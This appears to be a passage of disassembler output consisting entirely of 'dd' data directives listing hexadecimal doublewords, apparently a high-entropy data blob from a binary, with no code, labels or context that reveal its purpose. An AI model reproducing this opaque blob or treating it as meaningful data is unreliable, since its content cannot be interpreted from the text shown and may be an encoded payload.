		dd 0D298B711h, 0C3009F36h, 8C63881Bh, 3864ADCh,	0C6045BF7h
		dd 0ACA83152h, 9528E223h, 260E3C09h, 53610797h,	53101F02h
		dd 67746856h, 607C0054h, 0AA6EB08Ch, 221263D7h,	6C4493A9h
		dd 9080E4F6h, 0D1AF73h,	0A137E801h, 0BE782719h,	0CD39F728h
		dd 9F002179h, 4F93C5Ah,	37FD910h, 1A06B86Fh, 0F909BE6h
		dd 7E0077CAh, 8DB194DDh, 17BE76h, 26AE4087h, 90048F95h
		dd 811EDB03h, 0E81CA637h, 60330666h, 557FF4C2h,	0FE75BC08h
		dd 7100D4B1h, 0FC7E23BDh, 0EBD8C01Ch, 84A55B1Bh, 0C6DC460Bh
		dd 60C2008Dh, 1D1752F8h, 80B2A3E2h, 1D12B87Fh, 2C03A17Ah
		dd 0A8AD75E8h, 0C045CAAAh, 5EFB1F0Ah, 4AB680AEh, 0D690E2B2h
		dd 0F1572900h, 0E94BA47Eh, 72950F1Bh, 0FA825987h, 93C0FCC1h
		dd 0BF12DA97h, 3C81E21Ch, 6864E60Eh, 0C5EB006Ch, 5A032F53h
		dd 7B003B39h, 9A865095h, 13669109h, 1610E9D3h, 7F02003Ch
		dd 0C602EF47h, 0A8110E00h, 506382CDh, 8C1B4C3Fh, 7182C23Ah
		dd 0EA31BD32h, 4412E8E8h, 0E3AD1D00h, 2DE90A83h, 90DF2C95h
		dd 41C600C6h, 11E602DDh, 0DA088200h, 0A7A04CECh, 0E140ED0h
		dd 0AB00F5E0h, 0BA3C1EC7h
		dd 0C2750702h, 0C064FC7Bh, 69108h, 0AE3E409Dh, 0E2A5CA23h
		dd 40598D26h, 4E28003Fh, 3F4305B6h, 0C5A700CEh,	7E3B88DCh
		dd 941EBE0Ah, 0F383FA31h, 0E0EACBD9h, 4B4AD24h,	6AC1B090h
		dd 92F0D096h, 8C2EA05Fh, 171DBAA7h, 739CF402h, 105874h
		dd 0F0123C9Dh, 5DC18480h, 54113Bh, 88FCFD94h, 3C22BCDh
		dd 0BF5EE271h, 46C8687Ch, 550E7317h, 0A3D1C3FEh, 909FDA7Ah
		dd 84692Ah, 4DA5CC34h, 0C7D7644Fh, 73836E01h, 0AE3C9266h
		dd 299AC8h, 145F543h, 0AD0C14FBh, 2B301807h, 86EBB1C8h
		dd 0C0AD8B4h, 92650533h, 0A4E019A9h, 0DD0EE978h, 8E8AFE5Dh
		dd 0B6B4808Bh, 0B099ACF8h, 94E37544h, 3D96001Ch, 331DC6D1h
		dd 311BE974h, 0C0187D65h, 26C5C9h, 9862A880h, 0B7E67ED5h
		dd 0BF09477Eh, 802FB46Eh, 73A0AF8Fh, 0C5CC0116h, 80B2BE32h
		dd 350FE06Fh, 2D7E904Ch, 57F567Eh, 5D2E2C5h, 12A8B3Ch
		dd 0DD6AFB48h, 4675E026h, 937783FAh, 17757E71h,	4A41A103h
		dd 0F51DA794h, 85D4682Ch, 0BA351Eh, 0ACE2891Ah,	0BB48AEh
		dd 656FFAE8h, 7719E6B5h, 457BE000h, 31F2C86Ah, 1039005Dh
		dd 0D365BBADh, 0D4001830h, 0F3CD2D79h, 73EF7Ah,	7F17E1DAh
		dd 8B98BBA8h, 0BC0152h,	0DC84606Bh, 0ECC40F1Ah,	77E20345h
		dd 809EC8E6h, 0A3609870h, 32CFB808h, 0C47A001Ah, 0F2BA5341h
		dd 9A0111B0h, 751CA224h, 8EE8C6F0h, 2ED70326h, 166A42F7h
		dd 89D0C780h, 68A639h, 8EFF8B21h, 3A58D02h, 0ACBCD9E3h
		dd 5E01A0Dh, 0AF90954Dh, 0DF478203h, 0B1E39Bh, 4916830Eh
		dd 9699D855h, 0EEC2EF8h, 37CA2D00h, 179F9872h, 0F263751Eh
		dd 0AD510067h, 0E2C4E8DEh, 870678C8h, 0B51D4ADFh, 9EA01C9h
		dd 436584ADh, 82BFFC62h, 0F288B400h, 0A37635F1h, 36AD27E3h
		dd 22A59000h, 0FFAFD34h, 58031800h, 4D19713Dh, 75B006F8h
		dd 10738033h, 83048E57h, 41C3A8h, 1B43B110h, 0CE58179Bh
		dd 49107703h, 88FBA20Fh, 48BAA883h, 0AE0CE441h,	0B229188Ah
		dd 6C7440h, 238ED5FBh, 5C97AF55h, 788B891Dh, 0D1BF2A40h
		dd 795BFF75h, 0CB2200ADh, 0F29D400Fh, 0D4000717h, 2FAFD3Bh
		dd 0DB51E5h, 0AA90DEA9h, 4F2B2CE4h, 0CE2413E6h,	7400E209h
		dd 33A3491Ch, 0F2401FB3h, 0B79580E2h, 0E6F6B24h, 800002F4h
		dd 344306D1h, 9D794Dh, 3EA433F9h, 0E20542Dh, 5610F660h
		dd 9D6F8h, 0CE5C8719h, 0A2387404h, 8C058601h, 0DE42B7BAh
		dd 0AEBDC20h, 0BD7D2A8Eh, 52D60098h, 6BF89D9Fh,	0AA71E72Ch
		dd 85B81A02h, 0BCD684F0h, 0B59DAE80h, 58C5070Bh, 90DF1FC9h
		dd 0C88C22ACh, 49A4AD00h, 0D17E3E50h, 721200F2h, 32A3D90Eh
		dd 7558EFC0h, 83CD01E1h, 5CC76697h, 0B3D6C8h, 1A0E7F4Eh
		dd 0DDC10B21h, 4A04BCB0h, 10811582h, 2E6B5781h,	0FEF1D7DCh
		dd 0B89000E8h, 9AF7AB8Ah, 85514E20h, 54E0FCF8h,	69C53500h
		dd 5CBA5844h, 0E9BE00F9h, 4279103Bh, 93070B83h,	0B4164B73h
		dd 0D1BB60C0h, 45E800BEh, 4DB0DB43h, 0AE00A1E5h, 3E180529h
		dd 0A43128h, 0F6C4A2BFh, 9C1FDB5Ah, 25944F00h, 2EE64213h
		dd 13A7C16h, 1DB48CD3h,	0CC2AF58Ah, 527DECE4h, 3C16F600h
		dd 440EFEE6h, 0C669006Eh, 0B79B8722h, 0C50CAFC0h, 6829ECD3h
		dd 1E75EE72h, 407D0ABAh, 7CAD42D8h, 0E0CE847Fh,	0FE6260E7h
		dd 0EE6555h, 0C3ECB7B9h, 3AC824CDh, 13914200h, 0DB62E599h
		dd 877189h, 631DA919h, 0B557B2F8h, 71DA4107h, 34113652h
		dd 0AF102C88h, 0F40054ADh, 7C6BD826h, 0F54A7Eh,	0AC1DEEEh
		dd 0F7906DC5h, 2D7FEF00h, 0C747DB1Ch, 764626D3h, 93023C1Fh
		dd 311A6D56h, 0D39E9A41h, 0EF9CFCF0h, 1D6E0E00h, 0A4401596h
		dd 0F987Eh, 485387Fh, 0FE70D7EDh, 2B009A7Fh, 5C71B0F0h
		dd 0A23126h, 6254C50h, 36FDF6EDh, 81A7AB3Fh, 488CEFB1h
		dd 582075A6h, 83F5015Ch, 0F1667823h, 40E0EA55h,	940B3BACh
		dd 806C0DCDh, 0ADA1693Bh, 0CE7E0D05h, 0D15A4457h, 0E199C4B1h
		dd 41770300h, 8B2FA537h, 39AD719Bh, 0DE00748Eh,	0F46CFC71h
		dd 7C003816h, 0D3FD441Ah, 12FB5D07h, 781357Fh, 0D0C69588h
		dd 0E8852617h, 24478E13h, 0F1375840h, 61F9B4h, 62A9254Eh
		dd 7DE1EE2Dh, 7A710400h, 7FCE448Ah, 578501E0h, 27EFB665h
		dd 39190064h, 441600F5h, 0A54B1F77h, 69009C15h,	0B893FA5Eh
		dd 0FE4ABCD5h, 0C8D305EFh, 624522h, 5BDD98DCh, 2098993Bh
		dd 5E65641Dh, 2AA2F9C0h, 0F068E60h, 49577BBBh, 0C06E6B04h
		dd 71D8CD34h, 0A7215B0Bh, 40DA00A5h, 1E4F57D0h,	5C36ACC0h
		dd 0BEC2007Dh, 0F6E2DDBAh, 9A8D5F06h, 0E87240h,	1C85CD7Fh
		dd 0E4DC0499h, 3AF82F3Eh, 0EE5C804Fh, 0A72D0121h, 2868073Fh
		dd 0E37E9C1Ah, 84E86089h, 830FCE8Dh, 60ACB770h,	5C018E96h
		dd 902A4C34h, 0DEC7FC08h, 5D004093h, 7DD7324Eh,	84410021h
		dd 15BD92F2h, 39003025h, 4406BCAh, 0B71B93h, 0BE872EDh
		dd 0A221160Ch, 6471EF00h, 0C6FFCC48h, 8B373E74h, 3B5D9880h
		dd 108206C5h, 0DE219012h, 6B7D3600h, 50C73C32h,	1809AC73h
		dd 31EAA8BAh, 97004B61h, 8A56ADFDh, 0C0300DB0h,	4E479F29h
		dd 0B00E4EDh, 986C365Ah, 2CAF62Eh, 0CF52BF8h, 24400902h
		dd 0D72A6684h, 9D0B881Bh, 3A0B754h, 0AF790704h,	20100049h
		dd 60F09277h, 29B811BDh, 0AD1ED76Dh, 2CC01193h,	12711DD9h
		dd 3D4F0021h, 56DBC4BAh, 0F816DFF9h, 8840022Dh,	84E7CD33h
		dd 2E320039h, 1BB823BFh, 7C24766Fh, 0F304E488h,	67C39ED3h
		dd 75198851h, 0F68051BBh, 0DE78A0h, 8BD13743h, 73E60698h
		dd 2021C926h, 0AFB0506h, 0CE920029h, 0FA602CD2h, 5AF07B74h
		dd 9FDBD609h, 0C5CD2067h, 0F1861Ah, 0A71FFD6Eh,	9938AB06h
		dd 0C4747801h, 8F4A6D1Eh, 618CC1h, 3C0FD3C4h, 0F804F0E3h
		dd 0C0470EE0h, 0B12333A9h, 4F940712h, 141A9840h, 0EAD5B2D7h
		dd 0B9900E75h, 1800F854h, 41177F0Ah, 2CA22F00h,	30D2A42Ah
		dd 0B7851F87h, 903980BAh, 993EDD5Eh, 4F32D40Eh,	2FBDE051h
		dd 8FA791h, 0FD8731D5h,	5310F36Ah, 0E5C84600h, 0D27163B0h
		dd 0B6E2C3h, 72FED9C1h,	0A92DAC31h, 0AAF21200h,	2FA29A57h
		dd 0B07B3C97h, 7157320h, 3ACC128Fh, 7D4C9E94h, 0C5FF25Fh
		dd 0FC032F45h, 56961003h, 1390182h, 2FB9F5BDh, 0D8A7D06Dh
		dd 0DF9E8400h, 0EEDD9D95h, 82200B2h, 0F2E51153h, 7801EACEh
		dd 5792C9A2h, 40408197h, 0FC128D05h, 31D4F97Ah,	427600A8h
		dd 533CE6E1h, 852A2D43h, 9C8280F5h, 674B025h, 88750120h
		dd 16508F0Eh, 0C1BD805Bh, 0E0A5DBh, 55EF1D3Fh, 0F14F80B7h
		dd 8577E100h, 82D19B4h,	3C7925h, 0AA99E286h, 3CFFDE6h
		dd 0CDE7EF00h, 0D3F5C40Ah, 718C00FEh, 0A00BB8BDh, 7307BC62h
		dd 4B02DE04h, 4FD223D0h, 3427006Ch, 0E9A07BA3h,	0D10796A5h
		dd 0D4AF44E6h, 0A7F0290h, 0F5C70030h, 728BD901h, 6400C98Dh
		dd 0B3FEDE7Ah, 0EA9F4Dh, 0AB82B6FBh, 11FD6B9Ah,	1AAF3Dh
		dd 0E1596ED1h, 13C6E0h,	263EE3F3h, 2062AD19h, 91FB5600h
		dd 0C08537Ch, 0A70F006Eh, 0BF1DC63Eh, 0DE003216h, 8F2023FCh
		dd 0EE1117h, 773CF035h,	0AE5748C0h, 0F9EC1554h,	0FCEDA828h
		dd 75490A03h, 0A24C0196h, 8C072BE4h, 22CA32EDh,	8A2524C0h
		dd 0ACEE2F00h, 0BC797DE9h, 0DBE00FFh, 4603B243h, 8318F1E6h
		dd 0F24006CBh, 301400A0h, 0C6D71785h, 28CFEF0Dh, 905D101Eh
		dd 0A0160C7Ch, 53117A76h
		dd 0FF819F00h, 0ADECCB0Ah, 8D366F0h, 300021BCh,	0EB881A7h
		dd 73B6325Bh, 0B5B904B2h, 90722CD4h, 0DA1C7714h, 7F013E7Bh
		dd 0BF857D16h, 0A32CE274h, 971F9A03h, 76001C09h, 7CC9B479h
		dd 4C4A1612h, 0A060D310h, 725457F2h, 6903B17Eh,	8518D49Fh
		dd 1337A8F6h, 5A00728h,	5383321Bh, 278874FFh, 4400DEAAh
		dd 643A0CFCh, 0E4FBAC22h, 553E004Dh, 0F4286B3Dh, 0F20F46A1h
		dd 60298386h, 215E6878h, 1D12007Fh, 0C9F76A79h,	0F500E306h
		dd 0FA6394EAh, 0D5DC55h, 96600D76h, 8B18A4E5h, 9272B100h
		dd 2C6ADE80h, 735D008Eh, 0AD6EFBC3h, 0AC00F932h, 3437A15h
		dd 0FE541A2Dh, 297423h,	4F0CBBA0h, 0B6F1567Ch, 5FA1E300h
		dd 0F2F26F2h, 0BD95074Ch, 0C0802B33h, 0EE767956h, 9F11B00Fh
		dd 0DB91A0C4h, 0DE721Ah, 28569C74h, 0A4664B80h,	25612D1Fh
		dd 1D5D1B40h, 3BA19B81h, 1787536h, 9D513CFDh, 0ECB92F4Ah
		dd 0A6034209h, 93E0A9A1h, 7811C884h, 3F51C09Eh,	0BB9CA05Ah
		dd 0EE8A7600h, 34D198B8h, 0CF4407C7h, 0A08060D5h, 0FD019C4Fh
		dd 0DCA52E0Ch, 88B116h,	0FA793FBEh, 80B15B9h, 5B595867h
		dd 6D6F9910h, 0B89844h,	182935DEh, 0CD801FB9h, 373B5602h
		dd 418FDA78h, 0F7F479A9h, 24EC3D3Fh, 0CA53E503h, 0B6E09F58h
		dd 50008EE4h, 6E7B3E69h, 0DE294F1Eh, 89021880h,	9F51CDC3h
		dd 0CE89F48Dh, 3DF43A00h, 16FA616Eh, 4CD3E4C8h,	840E9962h
		dd 5860811Eh, 69CE46AEh, 844D1B28h, 33B8A100h, 0C73E04AAh
		dd 0A458C09Ah, 0D46D91C4h, 86DB7301h, 1039D192h, 54229970h
		dd 97845Ah, 1B255F78h, 5972F3DFh, 0D80FF500h, 75F67FE7h
		dd 528239E9h, 3E9418A4h, 0FED50D0Eh, 0AF67079Eh, 1AC7C3A5h
		dd 6C4604F0h, 0B2A85E0Ch, 20BF28FDh, 0B330E920h, 8ADE08D7h
		dd 0B6EA003Bh, 0B780FCD4h, 400ECFBh, 677B9834h,	1B63CD25h
		dd 31D910F8h, 0B317C3B0h, 3D11E060h, 7E407C7h, 0FB39804Bh
		dd 5CFAC1A6h, 301847CCh, 0E723D6C4h, 8BE8031Dh,	0E2FB91B0h
		dd 0B8D2D9h, 84E0D748h,	5C001044h, 9E42B255h, 312A0204h
		dd 1728F089h, 0D2518054h, 0A1405765h, 61741F14h, 9EBB0751h
		dd 33144852h, 3010318Ch, 88BE096Dh, 0D1AED000h,	720BD925h
		dd 215DF70Ah, 0C0819CFFh, 9A868E97h, 0E2C71080h, 6D9080EFh
		dd 0D2F76F07h, 1EB00863h, 61D4234h, 8AC8FE67h, 4C31C1E5h
		dd 22F49A9h, 1ED3EF4h, 96F25128h, 0C415E59Bh, 0F815B7A8h
		dd 188CD518h, 0D990B6Dh, 0C9920145h, 0EE653FB4h, 5E96D44Bh
		dd 14063B73h, 95E80A42h, 21911961h, 48783913h, 0D88F8A4h
		dd 12C80080h, 6F883113h, 7EF40610h, 0E59FCA38h,	0AE80FE40h
		dd 28C8C1CDh, 4460FF84h, 0BE039EABh, 0A84D3E35h, 7E89A08Fh
		dd 0D6A20701h, 0A24087EDh, 34441D45h, 39974C30h, 2826C62h
		dd 390DF4E8h, 0D34057CAh, 8901B84h, 231CC700h, 5B1F255Dh
		dd 0B7D20060h, 0BFA8B88Fh, 4484E945h, 8500CB41h, 7782A49Fh
		dd 0FCA67C40h, 0F441F37Ah, 80570E6Dh, 0E2121B61h, 1CEE78CCh
		dd 56ABC752h, 0C05F0246h, 98821E5Ch, 0D211927h,	0A44892C2h
		dd 0F01D453Bh, 19D499ECh, 2A51C06Ch, 19DF8034h,	0A0DA10CEh
		dd 4C0810FFh, 87BD00E8h, 4759DC97h, 1C00C1CBh, 801009B4h
		dd 91E9E189h, 0C00D0644h, 0C65061C2h, 51C82F9Ch, 0B741814Eh
		dd 0CC4FC5E0h, 94060985h, 15DCB1E7h, 0C4783428h, 6945E1Dh
		dd 0A9A512F8h, 9E5FEE09h, 972818C7h, 0F3AB0092h, 1EB27FAEh
		dd 9B003577h, 0CA3E2CA4h, 9214F6D0h, 7CC700D4h,	7DCFF36Dh
		dd 0E63ECBCh, 944C19h, 0B6AC66B1h, 0AF9FA3F3h, 0DF16DA00h
		dd 7F923587h, 598802E8h, 28E70B82h, 60912C68h, 0FB890A64h
		dd 2A9088h, 0CA805319h,	0E7F6997Bh, 0B40429F2h,	74154C04h
		dd 91BBDC81h, 1C02E022h, 500922A9h, 0AA4A7448h,	0E44491C0h
		dd 192FE7h, 0CEB08B68h,	0ABA0755Fh, 1E36F1Fh, 0D7DB0802h
		dd 0C6D44922h, 0E2005427h, 0DB041FF1h, 0D3EA9232h, 0DE985804h
		dd 20CAD670h, 59C05048h, 0A7AAE2Eh, 70F80100h, 111423E7h
		dd 31897FADh, 0EB3041C2h, 82C89055h, 0F8070CD1h, 70F52780h
		dd 0CEB2E4EDh, 78D3E0A8h, 0D7FD0F09h, 8564A473h, 80C8B331h
		dd 59A76629h, 0D26336h,	8E947FFh, 0B67BACCFh, 8DA0E26h
		dd 98E60D67h, 86F8A0F1h, 27AB2484h, 0F8694C78h,	356E822h
		dd 0D4AF9437h, 719EB34Dh, 2B71D600h, 69A326Ch, 9F7948DCh
		dd 0A9B6C00Ah, 8EB700E7h, 0C309E2B9h, 0ED00D0A6h, 0BDCB3AD5h
		dd 0FAB288Dh, 6129A9ECh, 0D46FE6E0h, 8731C8E5h,	0FDB47951h
		dd 7B381426h, 75733A80h, 0EDE00A21h, 5039DE01h,	0BC56AA4Bh
		dd 0FB809050h, 0EC1882D9h, 0A01BF3Bh, 70BA63F1h, 93D896BDh
		dd 0A9A7243Ch, 44171D74h, 921DAD86h, 9A209170h,	2AE9D990h
		dd 0A1902B36h, 0FA106D44h, 88ABCF59h, 5C8F99E2h, 58387116h
		dd 0FE2434DBh, 0C706F493h, 3931A9B5h, 5A8045ADh, 0A7353D01h
		dd 0A018A9Fh, 0B62BEF11h, 808CF88Bh, 7331BBB3h,	0AD257401h
		dd 876F1422h, 2CD629FCh, 9500C177h, 0C800F09Dh,	2239585Dh
		dd 6124B1EDh, 996C7C43h, 4484B214h, 0C4006307h,	3581BA4Ah
		dd 2066F248h, 0D490739Bh, 29046B34h, 761AEEC0h,	5BD40056h
		dd 33BD4C34h, 6A0AFF22h, 0C86042E7h, 0C8989894h, 6384647Fh
		dd 6AB1189Ch, 405A6108h, 0F65EFBF8h, 26CC3A0h, 50154E99h
		dd 0E048AF27h, 41C0CDB3h, 4D19F58Bh, 0EFCA1213h, 95EC48B0h
		dd 0E3499C8Eh, 0E8F95441h, 0AF5156Ch, 25A8B1A3h, 9193007Ch
		dd 0E52E0E2Fh, 0B4B252h, 34AC17B0h, 0CA786Eh, 14A88FCCh
		dd 0C9404559h, 10B0FC5Dh, 9053E925h, 0A6D78000h, 0CD5037B9h
		dd 2D129273h, 4E002486h, 3A351FE4h, 0D8D84D84h,	60940801h
		dd 0D1BFF477h, 0B0324Ah, 1011BDC9h, 5E6484h, 72DEDCB8h
		dd 798FD16Eh, 7D56800Ch, 88CE781Eh, 0DD0AA527h,	0A81F5246h
		dd 11F83631h, 0B058BC4Dh, 0B16070A8h, 0FEE80874h, 22A0C395h
		dd 95FD0298h, 0EBDA3CF2h, 0F24270E9h, 20001C4Ah, 0D6A77748h
		dd 28EFACF8h, 5BFAB13Ch, 0F8135832h, 923020E5h,	0F338FB3Dh
		dd 600993E7h, 0E8345416h, 51078C80h, 0B4CA1102h, 4B2300CCh
		dd 46754DD5h, 0FA31EE5Dh, 8BA83E99h, 34221025h,	429D27Dh
		dd 124440Ch, 0BC38666Ch, 15E6C504h, 62A9EC80h, 47FB30E0h
		dd 397E5031h, 2900BAF8h, 8706B0AFh, 0C47DF8h, 5A6746CDh
		dd 849D42B6h, 7C459024h, 27E7189h, 201F4F30h, 6EFB13CEh
		dd 4A110560h, 586F9E8Ah, 0E922D853h, 8141D06Bh,	0C65CAF64h
		dd 5A03EC62h, 0EEF4BB6Ah, 0A27C88CCh, 97FBE11Dh, 0A7782385h
		dd 606A6C88h, 6CB7690Dh, 0C41EBEF4h, 13C07185h,	0B478103Bh
		dd 0A4BC915Eh, 16B11BCh, 5AECD4C6h, 5184BE5Eh, 401A4C91h
		dd 0A1E7BC78h, 0AC54A873h, 3AB27464h, 0E407A2EBh, 0E27D4223h
		dd 6D24D47Eh, 0C3EC88h,	773422F1h, 0EE63B493h, 0E9694002h
		dd 80E2B8AEh, 917DC784h, 0C4CF00D3h, 26555FE5h,	0FB89F05Ah
		dd 7AE448h, 128C2C4Ch, 47C9BBF8h, 70059A26h, 0A215FA61h
		dd 0C31A3036h, 9C6608B9h, 9A00137Eh, 50D20137h,	2D964D6h
		dd 0BA41702Fh, 0ECECFCCDh, 2B35E700h, 7F1556B8h, 50AD0031h
		dd 27255DD0h, 97176C81h, 745EA38Eh, 645445B8h, 848C10C4h
		dd 0CAC8917Eh, 0D404BE8Ch, 0A673B09Fh, 56470F68h, 0D98EC0F1h
		dd 35ACFEFh, 70155724h,	1DCAB091h, 3E965051h, 0E661EEB0h
		dd 58A89299h, 0E6806C49h
		dd 2D03E25Fh, 6B435D12h, 3B3784CCh, 0F602AC65h,	6E13B19Fh
		dd 71F2F4A7h, 0CA573BE2h, 3059B042h, 0AA997A08h, 1E4100A0h
		dd 0FD1F5477h, 0B44E01A5h, 442A3048h, 477B40D1h, 368ECDh
		dd 652EB9F8h, 0C5F16245h, 0AEB2B700h, 0A592F2C6h, 0FB38A0A9h
		dd 4FC8A8F9h, 7AB60138h, 756C2182h, 92C9D827h, 7CDA8300h
		dd 41795C14h, 801A5D4Eh, 0D310F80Ch, 68918079h,	0E28DE500h
		dd 74C915h, 0A1407BEh, 5ACBB75Bh, 93880C3Fh, 285FFAF0h
		dd 8585CD10h, 7DE8216Fh, 0CEF810E9h, 980600CFh,	4C38FC07h
		dd 80A9B115h, 2B9458EEh, 23193D0Fh, 0BE95C24Eh,	0CF78201Bh
		dd 4800737Dh, 1863A913h, 0B16E1DB1h, 0D60B00BCh, 4DC5B6B9h
		dd 0C9847E01h, 0F543F8A8h, 0C6A315CCh, 51083489h, 8D491018h
		dd 36BD479h, 0AFC1B7ACh, 0EF80725Ah, 0E20001E0h, 0FF4118D9h
		dd 906859A6h, 0EC314508h, 5400CD71h, 55C79065h,	746236Bh
		dd 0A8BC2E25h, 78A4B95Dh, 7DF4CC1Eh, 4462A245h,	40A06A25h
		dd 2DBF10EEh, 3FF68700h, 3E20E1B3h, 8F6402C1h, 6C84C839h
		dd 0D2E7ACA1h, 18421C0h, 8ACAB324h, 0CD741D59h,	29D8B407h
		dd 221E5B03h, 13001A69h, 62B48A02h, 1D7CC627h, 0A9F9763Ch
		dd 0B5EB05C8h, 0E39C88BAh, 98F19A02h, 4843EE58h, 9D29730h
		dd 50E1769Dh, 6608490h,	6DDCE08Ah, 1611C00Fh, 17FDD704h
		dd 6500D1E0h, 457CCAA8h, 0F80E913Dh, 4B64F0B7h,	0D4FC21A2h
		dd 6C4014ABh, 571D3899h, 0F8F90C09h, 5879C661h,	0B8423745h
		dd 0D6B3238Fh, 46A23900h, 99D28836h, 0B2F43D61h, 0B4BC0979h
		dd 84484A78h, 6B6556CAh, 71C088CCh, 16C8EAE2h, 5C416E06h
		dd 91A41338h, 4911FA00h, 98F005E4h, 0D000AD70h,	0EBC0C99h
		dd 1BDA99Dh, 0CE9B2749h, 9793857Dh, 7041ADDCh, 1D43D2C4h
		dd 0CC22C036h, 0C1EB6E00h, 0AC1CA492h, 2AD514F7h, 0D0BC0F5h
		dd 48B0FDC6h, 632AABC7h, 0FB5CE014h, 0C9F98020h, 5841FA35h
		dd 8780F8B2h, 0F2268431h, 0DD5AC507h, 14B0E44Ch, 32AD436Eh
		dd 0A9D18E9Ch, 9E8BDF20h, 57A0B66h, 12822DA3h, 0EC404F25h
		dd 84A416FAh, 105CB04Fh, 13A0B822h, 31578DBBh, 51D0108h
		dd 7CA51030h, 5D020005h, 0AAD1B858h, 0D70010B1h, 0F54473D6h
		dd 0C946DBD4h, 6C442F70h, 4D80D01Ch, 5636AE81h,	9602E923h
		dd 3E017520h, 34F1000Ch, 0D36CAB92h, 949A1459h,	0F5FC44h
		dd 7895DEE3h, 0AB111256h, 0EF016FE6h, 82485FFh,	0D73101E7h
		dd 9CD8E045h, 0F82A0062h, 916E1EEBh, 0E5161F99h, 0A8325D57h
		dd 1EE86E9Dh, 70C64Ch, 0ADE51BFDh, 783EDD73h, 0C21D7F6Dh
		dd 690B6371h, 0ABF42256h, 0F46C643Bh, 0C1610355h, 8908FA13h
		dd 272CCAB4h, 43D0A04Ch, 396B507Bh, 282C8A6Ch, 0E92A4244h
		dd 5C625510h, 0C0C03C82h, 5CEE49D2h, 3130881Dh,	0A104B100h
		dd 88E56EB2h, 47288BABh, 15003421h, 1ED7CCD5h, 0B9B3CB4Eh
		dd 937C0050h, 9A1DB430h, 19652C32h, 9011C31Ch, 9AB6270h
		dd 0A6F85C99h, 1194F831h, 24325391h, 5C90102Dh,	0E37657CEh
		dd 60C40810h, 0F5DC204Eh, 3F7F69EEh, 8861A101h,	5F46FD83h
		dd 5CA2D1F8h, 1580146Ah, 0F1D0DA32h, 0A70001F0h, 31A9CF3Dh
		dd 4045AC40h, 0B958C6DEh, 7F3CC0D8h, 3597E5Bh, 61EA2239h
		dd 81284305h, 0C45589Ch, 27E22821h, 6892D0A7h, 1F00B59Fh
		dd 0E96C42A2h, 4AD9FAE4h, 26B8289Ch, 7E21E506h,	2159A7E0h
		dd 0C3000725h, 0CB714D64h, 60F8B4FCh, 1CE58EC5h, 5F83303h
		dd 0F2E4AC9Ch, 0A250F9Dh, 3D820E9h, 0EA16D3D6h,	60207179h
		dd 1F0A3F60h, 765523Ah,	0D04685ADh, 2456CC7Ch, 0CA275318h
		dd 9827870h, 9386EF6Bh,	312F04E1h, 643C623Ch, 0F640DCF8h
		dd 0C8B95F36h, 258DA204h, 4CCC309Fh, 0B7008A6Dh, 0E5396282h
		dd 0B09E7230h, 0D26999BBh, 0A32C0821h, 1860F889h, 99249178h
		dd 4AEB0B30h, 0D4F71411h, 6B038BAFh, 9ADCBCBFh,	7338A89Dh
		dd 0D9771A66h, 6485B807h, 5204E427h, 2236AC02h,	0D89A2DFFh
		dd 449498D0h, 13002403h, 0E10CA254h, 1A115B78h,	90DA40E3h
		dd 7680F051h, 0DF50BB0Fh, 791481AAh, 2DFA80A0h,	143D4346h
		dd 0D0F5ACF7h, 0A808049h, 5BE644FEh, 4BAF3Bh, 0C20665D5h
		dd 88DCA90h, 1422E8EBh,	0A7604024h, 0EA78E375h,	0CEC706A5h
		dd 59A161F7h, 120444h, 56F05482h, 29CB5809h, 0B5A8B63Bh
		dd 0E0CD2030h, 0D68BF4h, 0B9B259F5h, 21FE0C2Ah,	53689501h
		dd 1F928020h, 0E7A402Dh, 0DE43D077h, 3484ACAh, 0ED3A97C2h
		dd 0EFE8C793h, 2712C1ECh, 9417F8h, 0E5E900B5h, 64000422h
		dd 0C53C430Ch, 0F67E5C73h, 0EB185950h, 48EEECE7h, 80A838D1h
		dd 0C1CE6287h, 7F1D0BE8h, 8498B5A6h, 0E0A471FEh, 7489B300h
		dd 0B0A346BDh, 5E890F3h, 0B27A1CFAh, 0ED432FDh,	6890DB20h
		dd 0EADC7AB9h, 0CD6500F2h, 54C79A11h, 0F896EED9h, 5E740D91h
		dd 498028D1h, 0AEF05702h, 0D2926D6h, 0CAF81868h, 4C707300h
		dd 0C62DFCFh, 0BB0D00F8h, 8D51CD9Dh, 75175B3Ch,	3448A261h
		dd 1E8A8CBh, 2DA93F72h,	440EA51Dh, 50F38Ch, 365B9371h
		dd 3BCF3B0Bh, 0A419874Fh, 291248A9h, 0B4D0933Ch, 0FE4D2232h
		dd 86E58CDh, 0EA8EB980h, 4E03C8CBh, 38D5EFE8h, 282D86Ch
		dd 800C94B1h, 0B2957294h, 0C817F0A2h, 0D093E91Dh, 0CF12217h
		dd 0C8589300h, 4B05B469h, 26090EAFh, 0E5A0F539h, 24CC5E1Ah
		dd 72A5C220h, 6D1D405Ah, 3410260h, 0FF47B8h, 0FC397FB1h
		dd 71EB6C59h, 9C5FDC00h, 55BB23A2h, 0B338C9C5h,	72B26468h
		dd 0CB6C9409h, 8630A1D2h, 4C01D93Ah, 0B6DC508Eh, 9D0165B7h
		dd 8B2EED8Ch, 53E8EA37h, 1EF90132h, 9B750F56h, 11DC3C80h
		dd 4458A9C3h, 0E7735CC0h, 1D257BE9h, 2F6404ABh,	5C4800E7h
		dd 0EEF80722h, 6EE2FD45h, 0AF2903A0h, 0E2EE983h, 11030F0h
		dd 3C62FCA2h, 0B82740A7h, 0C16004A6h, 19EB26Ch,	0B3684802h
		dd 0D25F6592h, 4FCC100Bh, 81506234h, 387221C2h,	0C9D544h
		dd 0F801BDF7h, 0AB20F124h, 707BB500h, 0C8CDFE9Eh, 9CACA5h
		dd 7336FA46h, 0F2F4F72Bh, 6F7848E2h, 0CA0DD01Fh, 260E5383h
		dd 20A04F18h, 0EDD3CB18h, 4E03D57Fh, 4B805F0Ah,	0D4A3E59Ah
		dd 0F3699803h, 0B916AA49h, 84310858h, 0BC326AB3h, 36B13101h
		dd 7D2E82BEh, 9322C0h, 0AD1AE797h, 11352842h, 25604B4Dh
		dd 0EE0CA0B5h, 7D3686h,	4377B28h, 5DC1EDDFh, 8CD28B4Ah
		dd 4248C685h, 8DBB8B5Ah, 8C6C20A2h, 0E802DBD0h,	0D6275259h
		dd 500F7865h, 5612E054h, 6BA30CCFh, 0E030B8FAh,	0C402F4DFh
		dd 13BFB5FEh, 71458ABh,	0F07217CFh, 0F47002F8h,	6A60F87Ah
		dd 0FE312459h, 4570BFF2h, 404CF25h, 43454074h, 458AE061h
		dd 78CAF8A9h, 6238128h,	7AE0E8D1h, 0E3D71F59h, 2514029Eh
